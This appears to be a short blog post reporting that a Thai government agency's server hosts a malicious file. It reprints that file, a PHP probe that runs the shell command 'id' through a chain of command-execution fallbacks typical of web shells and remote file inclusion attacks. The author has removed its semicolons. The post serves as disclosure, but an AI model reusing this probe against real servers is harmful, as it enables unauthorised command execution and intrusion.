Hacking Files from the Government of Thailand

The "Department of Disaster Prevention and Mitigation" is a relatively new agency in the government of Thailand, the equivalent of our DHS. On their server they host this file, which I post here as text. I have deleted all semi-colons so this will not run as a malicious script - which is it's intended use.

http://www.cdpm3.com/id.txt

echo "Mic22"
$cmd="id"
$eseguicmd=ex($cmd)
echo $eseguicmd
function ex($cfe){
$res = ''
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res)
$res = join("\n",$res)
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe)
}
elseif(function_exists('system')){
@ob_start()
@system($cfe)
$res = @ob_get_contents()
@ob_end_clean()
}
elseif(function_exists('passthru')){
@ob_start()
@passthru($cfe)
$res = @ob_get_contents()
@ob_end_clean()
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = ""
while(!@feof($f)) { $res .= @fread($f,1024) }
@pclose($f)
}}
return $res
}
exit

An explanation can be found in my previous post. I intend to follow up on this to the fullest extent possible. Witnesses would be helpful. You can find the "evidence" at the official Thai government website above.

David Roknich,

DOGSPOT